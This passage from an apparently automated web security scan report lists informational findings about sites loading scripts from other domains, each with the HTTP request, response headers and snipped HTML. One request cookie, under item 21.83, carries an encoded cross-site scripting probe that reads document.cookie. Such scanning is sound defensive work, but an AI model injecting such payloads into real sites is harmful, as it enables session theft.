<script src='http://g2.gumgum.com/javascripts/ggv2.js' type='text/javascript'></script>
...[SNIP]...
</script><script type="text/javascript" src="http://www.blogger.com/static/v1/widgets/2885921908-widgets.js"></script>
...[SNIP]...

21.65. http://malsup.com/jquery/form/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://malsup.com
Path:	/jquery/form/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js
http://github.com/malsup/form/raw/master/jquery.form.js?v2.44
http://malsup.github.com/chili-1.7.pack.js

Request

GET /jquery/form/ HTTP/1.1
Host: malsup.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:58:23 GMT
Server: mod_security2/2.5.7
X-Powered-By: PHP/5.2.9
Vary: Accept-Encoding,User-Agent
MS-Author-Via: DAV
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 57977

<!DOCTYPE html>
<html lang="en_US" class="ui-widget-content">
<head>
<title>jQuery Form Plugin</title>
<link rel="stylesheet" href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/themes/black
...[SNIP]...
</style>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js"></script>
<script type="text/javascript" src="http://malsup.github.com/chili-1.7.pack.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://github.com/malsup/form/raw/master/jquery.form.js?v2.44"></script>
...[SNIP]...

21.66. http://messenger.yahoo.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://messenger.yahoo.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://l.yimg.com/a/lib/uh/15/js/uh_rsa-1.0.9.js

Request

GET / HTTP/1.1
Host: messenger.yahoo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.67. http://mir.aculo.us/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mir.aculo.us
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://platform.twitter.com/widgets.js

Request

GET / HTTP/1.1
Host: mir.aculo.us
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.64
Date: Sat, 05 Feb 2011 22:58:23 GMT
Content-Type: text/html
Content-Length: 42066
Last-Modified: Sat, 05 Feb 2011 22:15:00 GMT
Connection: close
Accept-Ranges: bytes

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">

<head p
...[SNIP]...
</div>
<script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...

21.68. http://mlayalamhotstories.blogspot.com/2010_10_01_archive.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mlayalamhotstories.blogspot.com
Path:	/2010_10_01_archive.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://www.blogger.com/static/v1/widgets/2885921908-widgets.js
http://www.google.com/cse/brand?form=cse-search-box&lang=en

Request

GET /2010_10_01_archive.html HTTP/1.1
Host: mlayalamhotstories.blogspot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Expires: Sat, 05 Feb 2011 21:51:31 GMT
Date: Sat, 05 Feb 2011 21:51:31 GMT
Cache-Control: public, max-age=0, must-revalidate, proxy-revalidate
Last-Modified: Tue, 18 Jan 2011 06:41:28 GMT
ETag: "9a3f329d-495e-4d51-93b9-16861157d74e"
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Connection: close

<!DOCTYPE html>
<html b:version='2' class='v2' dir='ltr'>
<head>
<meta content='IE=EmulateIE7' http-equiv='X-UA-Compatible'/>
<meta content='width=1100' name='viewport'/>
<meta content='text/html; cha
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</form>
<script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script><script type="text/javascript" src="http://www.blogger.com/static/v1/widgets/2885921908-widgets.js"></script>
...[SNIP]...

21.69. http://mootools.net/developers/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mootools.net
Path:	/developers/

Issue detail

The response dynamically includes the following scripts from other domains:

http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/6310.js
http://www.google-analytics.com/ga.js

Request

GET /developers/ HTTP/1.1
Host: mootools.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:04:26 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.6
Connection: close
Content-Type: text/html
Content-Length: 14931

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <meta http-e
...[SNIP]...


   <script type="text/javascript" src="http://www.google-analytics.com/ga.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s3.amazonaws.com/new.cetrk.com/pages/scripts/0010/6310.js"> </script>
...[SNIP]...

Summary

Severity:	Information
Confidence:	Certain
Host:	http://music.aol.com
Path:	/radioguide/bb/$\|http:/money.aol.com/$\|http:/www.aim.com/help_faq/starting_out/buddylist.adp/$\|http:/www.weblogs.com/$\|http:/smallbusiness.aol.com/$\|http:/www.blackvoices.com/$\|http:/latino.aol.com/$\|.ivillage.com.*/1\|www.ivillage.com/(celeb-news\|entertainment-photos\|tv\|for-kids\|video\|entertainment\|movies\|food\|recipes\|table-talk\|food-for-kids\|food-advice\|food-news\|food-video

Issue detail

The response dynamically includes the following scripts from other domains:

http://o.aolcdn.com/ads/adsWrapper.js
http://o.aolcdn.com/art/merge?f=/_media/ch_music2/moo-12-all.js&f=/_media/ch_music2/com_aol_music_shared.js&f=/_media/ch_music2/cannae_cross_promo.js&f=/_media/music_en_us_js/jquery-1.3.2.min.js&f=/_media/ch_music2/jquery.noconflict.js&f=/_media/music_en_us_js/jquery.authlinkhandler-min.js&f=/_media/music_en_us_js/jquery.globalsearchbox.js&f=/_media/music_en_us_js/jquery.globalheader.js&expsec=31536000&ver=40
http://siterecruit.comscore.com/sr/aol/broker.js

Request

GET /radioguide/bb/$|http:/money.aol.com/$|http:/www.aim.com/help_faq/starting_out/buddylist.adp/$|http:/www.weblogs.com/$|http:/smallbusiness.aol.com/$|http:/www.blackvoices.com/$|http:/latino.aol.com/$|.ivillage.com.*/1|www.ivillage.com/(celeb-news|entertainment-photos|tv|for-kids|video|entertainment|movies|food|recipes|table-talk|food-for-kids|food-advice|food-news|food-video HTTP/1.1
Host: music.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 /radioguide/bb/$%7Chttp:/money.aol.com/$%7Chttp:/www.aim.com/help_faq/starting_out/buddylist.adp/$%7Chttp:/www.weblogs.com/$%7Chttp:/smallbusiness.aol.com/$%7Chttp:/www.blackvoices.com/$%7Chttp:/latino.aol.com/$%7C.ivillage.com.*/1%7Cwww.ivillage.com/(celeb-news%7Centertainment-photos%7Ctv%7Cfor-kids%7Cvideo%7Centertainment%7Cmovies%7Cfood%7Crecipes%7Ctable-talk%7Cfood-for-kids%7Cfood-advice%7Cfood-news%7Cfood-video
Date: Sun, 06 Feb 2011 16:04:25 GMT
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Length: 22064

<//jsp:useBean id="bbFactory" type="com.aol.entertainment.core.beans.BigBowlModuleBeanFactory" scope="application"/>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http:
...[SNIP]...
</link>
<script type="text/javascript" src="http://o.aolcdn.com/art/merge?f=/_media/ch_music2/moo-12-all.js&f=/_media/ch_music2/com_aol_music_shared.js&f=/_media/ch_music2/cannae_cross_promo.js&f=/_media/music_en_us_js/jquery-1.3.2.min.js&f=/_media/ch_music2/jquery.noconflict.js&f=/_media/music_en_us_js/jquery.authlinkhandler-min.js&f=/_media/music_en_us_js/jquery.globalsearchbox.js&f=/_media/music_en_us_js/jquery.globalheader.js&expsec=31536000&ver=40"></script>

<script type="text/javascript" src="http://o.aolcdn.com/ads/adsWrapper.js"></script>
...[SNIP]...
</script>
<script src="http://siterecruit.comscore.com/sr/aol/broker.js" language="JavaScript"></script>
...[SNIP]...

Summary

Severity:	Information
Confidence:	Certain
Host:	http://netscape.aol.com
Path:	/$\|http:/music.aol.com/radioguide/bb/$\|http:/money.aol.com/$\|http:/www.aim.com/help_faq/starting_out/buddylist.adp/$\|http:/www.weblogs.com/$\|http:/smallbusiness.aol.com/$\|http:/www.blackvoices.com/$\|http:/latino.aol.com/$\|.ivillage.com.*/1\|www.ivillage.com/(celeb-news\|entertainment-photos\|tv\|for-kids\|video\|entertainment\|movies\|food\|recipes\|table-talk\|food-for-kids\|food-advice\|food-news\|food-video

Issue detail

The response dynamically includes the following scripts from other domains:

http://o.aolcdn.com/omniunih.js
http://portal.aolcdn.com/p/v32/63-main.js

Request

GET /$|http:/music.aol.com/radioguide/bb/$|http:/money.aol.com/$|http:/www.aim.com/help_faq/starting_out/buddylist.adp/$|http:/www.weblogs.com/$|http:/smallbusiness.aol.com/$|http:/www.blackvoices.com/$|http:/latino.aol.com/$|.ivillage.com.*/1|www.ivillage.com/(celeb-news|entertainment-photos|tv|for-kids|video|entertainment|movies|food|recipes|table-talk|food-for-kids|food-advice|food-news|food-video HTTP/1.1
Host: netscape.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 16:04:30 GMT
Server: Apache-Coyote/1.1
Pragma: no-cache
Cache-Control: no-cache, no-store, private, max-age=0
Expires: 0
R-Host: portal-tc-lma15.websys.aol.com
x-ua-compatible: IE=EmulateIE7
Content-Type: text/html;;charset=utf-8
Keep-Alive: timeout=5, max=96
Connection: Keep-Alive
Content-Length: 15160

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" class="IE7"
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://portal.aolcdn.com/skn/classic_v1/4-err.css" />
<script type="text/javascript" src="http://portal.aolcdn.com/p/v32/63-main.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://o.aolcdn.com/omniunih.js"></script>
...[SNIP]...

21.72. http://newstrust.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://newstrust.net
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://s7.addthis.com/js/250/addthis_widget.js?pub=newstrust
http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php

Request

GET / HTTP/1.1
Host: newstrust.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.6.35
Date: Sat, 05 Feb 2011 22:58:22 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Set-Cookie: _newstrust_session=0ce76bfbf0c27ac307c69589440188fd; path=/
Status: 200 OK
ETag: "a62932024cf879d7f7427791eb6c7c8f"
X-Runtime: 0.01216
Content-Length: 95979
Cache-Control: private, max-age=0, must-revalidate

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml">

...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js?pub=newstrust"></script>
...[SNIP]...
</script>

<script src="http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php" type="text/javascript"></script>
...[SNIP]...

21.73. http://nyromodal.nyrodev.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://nyromodal.nyrodev.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js
http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET / HTTP/1.1
Host: nyromodal.nyrodev.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:04:34 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: max-age=2678400
Expires: Wed, 09 Mar 2011 16:04:34 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 56168

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="Conte
...[SNIP]...
<link rel="stylesheet" href="styles/nyroModal.css" type="text/css" media="screen" />
   <script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js"></script>
...[SNIP]...
</script>
   <script type="text/javascript"
    src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
   </script>
...[SNIP]...
</script>
   <script type="text/javascript"
    src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
   </script>
...[SNIP]...

21.74. http://opensource.org/licenses/lgpl-license.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://opensource.org
Path:	/licenses/lgpl-license.php

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /licenses/lgpl-license.php HTTP/1.1
Host: opensource.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.75. http://opensource.org/licenses/mit-license.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://opensource.org
Path:	/licenses/mit-license.php

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /licenses/mit-license.php HTTP/1.1
Host: opensource.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:04:35 GMT
Server: Apache/2.2.17 (FreeBSD) mod_ssl/2.2.17 OpenSSL/0.9.8n DAV/2 SVN/1.6.15
Set-Cookie: SESSe6df14a6557d381f7820d30df9723b5b=3on1jju7fugormau6ahnchc406; expires=Tue, 01-Mar-2011 19:37:55 GMT; path=/; domain=.opensource.org
Last-Modified: Sun, 06 Feb 2011 16:04:35 GMT
ETag: "c1673a4245ecebf954ab2e909fb9e015"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20412

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<
...[SNIP]...
<div class="content"><script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.76. http://pagead2.googlesyndication.com/pagead/s/iframes_api_loader.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pagead2.googlesyndication.com
Path:	/pagead/s/iframes_api_loader.html

Issue detail

The response dynamically includes the following script from another domain:

https://ssl.gstatic.com/gb/js/gcm_392279366d8656daff9da175563f505a.js

Request

GET /pagead/s/iframes_api_loader.html HTTP/1.1
Host: pagead2.googlesyndication.com
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
If-Modified-Since: Tue, 12 Oct 2010 18:46:38 GMT

Response

HTTP/1.1 200 OK
P3P: policyref="http://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA PVD OTP OUR OTR IND OTC"
Content-Type: text/html; charset=UTF-8
Last-Modified: Tue, 12 Oct 2010 18:46:38 GMT
Date: Sat, 05 Feb 2011 19:09:37 GMT
Expires: Sun, 06 Feb 2011 19:09:37 GMT
X-Content-Type-Options: nosniff
Server: cafe
X-XSS-Protection: 1; mode=block
Age: 75301
Cache-Control: public, max-age=86400
Content-Length: 124

<html>
<body>
<script src="https://ssl.gstatic.com/gb/js/gcm_392279366d8656daff9da175563f505a.js"></script>
</body>
</html>

21.77. http://pdfdatabase.com/search/malayalam-kochupusthakam-free-download.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pdfdatabase.com
Path:	/search/malayalam-kochupusthakam-free-download.html

Issue detail

The response dynamically includes the following script from another domain:

http://www8.addfreestats.com/cgi-bin/afstrack.cgi?usr=00826168

Request

GET /search/malayalam-kochupusthakam-free-download.html HTTP/1.1
Host: pdfdatabase.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.78. http://pdfebooksfreedownload.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://pdfebooksfreedownload.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://pub.mybloglog.com/comm2.php?mblID=2010092800130858&c_width=190&c_sn_opt=n&c_rows=5&c_img_size=h&c_heading_text=Free+PDF+warrior&c_color_heading_bg=333333&c_color_heading=ffffff&c_color_link_bg=CCCCCC&c_color_link=333333&c_color_bottom_bg=666666
http://s45.sitemeter.com/js/counter.js?site=s45freepdf
http://track2.mybloglog.com/js/jsserv.php?mblID=2010092800130858

Request

GET / HTTP/1.1
Host: pdfebooksfreedownload.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:31:08 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Sat, 05 Feb 2011 21:11:01 GMT
ETag: "9580fe-c0ab-6f8d4340"
Accept-Ranges: bytes
Content-Length: 49323
Cache-Control: max-age=300, must-revalidate
Expires: Sat, 05 Feb 2011 21:36:08 GMT
Vary: Accept-Encoding,Cookie
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">

<head
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<div class="textwidget"><script type="text/javascript" src="http://pub.mybloglog.com/comm2.php?mblID=2010092800130858&c_width=190&c_sn_opt=n&c_rows=5&c_img_size=h&c_heading_text=Free+PDF+warrior&c_color_heading_bg=333333&c_color_heading=ffffff&c_color_link_bg=CCCCCC&c_color_link=333333&c_color_bottom_bg=666666"></script>
...[SNIP]...

<script type="text/javascript" src="http://s45.sitemeter.com/js/counter.js?site=s45freepdf">
</script>
...[SNIP]...
</a>
<script type='text/javascript' src='http://track2.mybloglog.com/js/jsserv.php?mblID=2010092800130858'></script>
...[SNIP]...

21.79. http://personalsavings.americanexpress.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://personalsavings.americanexpress.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

https://www.adelixir.com/WebPages/scripts/Ne_ROI_Tracking.js

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:52:00 GMT
Content-type: text/html
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-type" conte
...[SNIP]...

<script src='https://www.adelixir.com/WebPages/scripts/Ne_ROI_Tracking.js' type='text/javascript'>
</script>
...[SNIP]...

21.80. http://prototypejs.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://prototypejs.org
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET / HTTP/1.1
Host: prototypejs.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:04:38 GMT
Server: Apache/2.2.2 (FreeBSD) mod_ssl/2.2.2 OpenSSL/0.9.8b DAV/2 PHP/5.1.4 SVN/1.3.2 mod_vd/2.0 mod_fastcgi/2.4.2 proxy_html/2.5 Phusion_Passenger/2.1.0
Vary: Host,Accept-Encoding
Last-Modified: Wed, 02 Feb 2011 15:31:50 GMT
ETag: "4ce9bf-1937-59038580"
Accept-Ranges: bytes
Content-Length: 6455
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<
...[SNIP]...
</script>
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

21.81. http://qooxdoo.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://qooxdoo.org
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://feeds2.feedburner.com/qooxdoo/news/content?format=sigpro
http://www.google-analytics.com/urchin.js

Request

GET / HTTP/1.1
Host: qooxdoo.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.82. http://rapidog.com/game-thoi-trang-bup-be-ba-by-rapidshare.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rapidog.com
Path:	/game-thoi-trang-bup-be-ba-by-rapidshare.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://adserving.cpxinteractive.com/st?ad_type=pop&ad_size=0x0&section=932041&banned_pop_types=28&pop_times=1&pop_frequency=86400
http://s7.addthis.com/js/250/addthis_widget.js?pub=rapidog

Request

GET /game-thoi-trang-bup-be-ba-by-rapidshare.html HTTP/1.1
Host: rapidog.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:52:17 GMT
Server: Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 PHP/5.3.2
X-Powered-By: PHP/5.3.2
Connection: close
Content-Type: text/html
Content-Length: 30270

<html>
<head>
<title>Game Thoi Trang Bup Be Ba By</title>
<META NAME="description" CONTENT="Game Thoi Trang Bup Be Ba By rapidshare links available for download. Daily checked working links for downl
...[SNIP]...

<SCRIPT TYPE="text/javascript" SRC="http://adserving.cpxinteractive.com/st?ad_type=pop&ad_size=0x0&section=932041&banned_pop_types=28&pop_times=1&pop_frequency=86400"></SCRIPT>
...[SNIP]...
</a><script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js?pub=rapidog"></script>
...[SNIP]...

21.83. http://rmncdn.com/widget/out/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rmncdn.com
Path:	/widget/out/

Issue detail

The response dynamically includes the following script from another domain:

http://www.google-analytics.com/urchin.js

Request

GET /widget/out/ HTTP/1.1
Host: rmncdn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=213318551.1296942872.1.1.utmcsr=homeappliance.manualsonline.com|utmccn=(referral)|utmcmd=referral|utmcct=/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem; __utma=213318551.1969816196.1296942872.1296942872.1296942872.1; __utmc=213318551; __utmb=213318551.2.10.1296942872;

Response

HTTP/1.1 404 Not Found
Content-Type: text/html
Date: Sat, 05 Feb 2011 22:59:07 GMT
Server: Apache/2.0.52 (CentOS)
X-Powered-By: PHP/4.3.9
Content-Length: 1712
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
...[SNIP]...
</div>

<script type="text/javascript" src="http://www.google-analytics.com/urchin.js"></script>
...[SNIP]...

21.84. http://rmncdn.com/widget_cdn.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rmncdn.com
Path:	/widget_cdn.html

Issue detail

The response dynamically includes the following script from another domain:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js

Request

Response

21.85. http://script.aculo.us/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://script.aculo.us
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://static.getclicky.com/js

Request

GET / HTTP/1.1
Host: script.aculo.us
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.64
Date: Sat, 05 Feb 2011 22:59:10 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.7
Content-Length: 13642

<!DOCTYPE html>
<html>
<head>
<title>script.aculo.us - web 2.0 javascript</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rel="alternate" type="application/rs
...[SNIP]...
</center>

<script src="http://static.getclicky.com/js" type="text/javascript"></script>
...[SNIP]...

21.86. http://shop.kledy.de/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://shop.kledy.de
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://www.contaxe.com/go/go.js?atp=bnr&adim=1&c=16270&aftxt=1&afimg=1&rnd=1&s=15463
http://www.contaxe.com/go/go.js?atp=bnr&adim=6&c=16270&aftxt=1&afimg=1&rnd=1&s=15463
http://www.contaxe.com/go/go.js?atp=isa&c=16270

Request

GET / HTTP/1.1
Host: shop.kledy.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:04:53 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22730

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <title>Preisvergleich - Pr
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</div>
<script
language="JavaScript1.1"
type="text/javascript"
src="http://www.contaxe.com/go/go.js?atp=isa&c=16270">
</script>
...[SNIP]...
<div class="fullbanner">
<script
language="JavaScript1.1"
type="text/javascript"
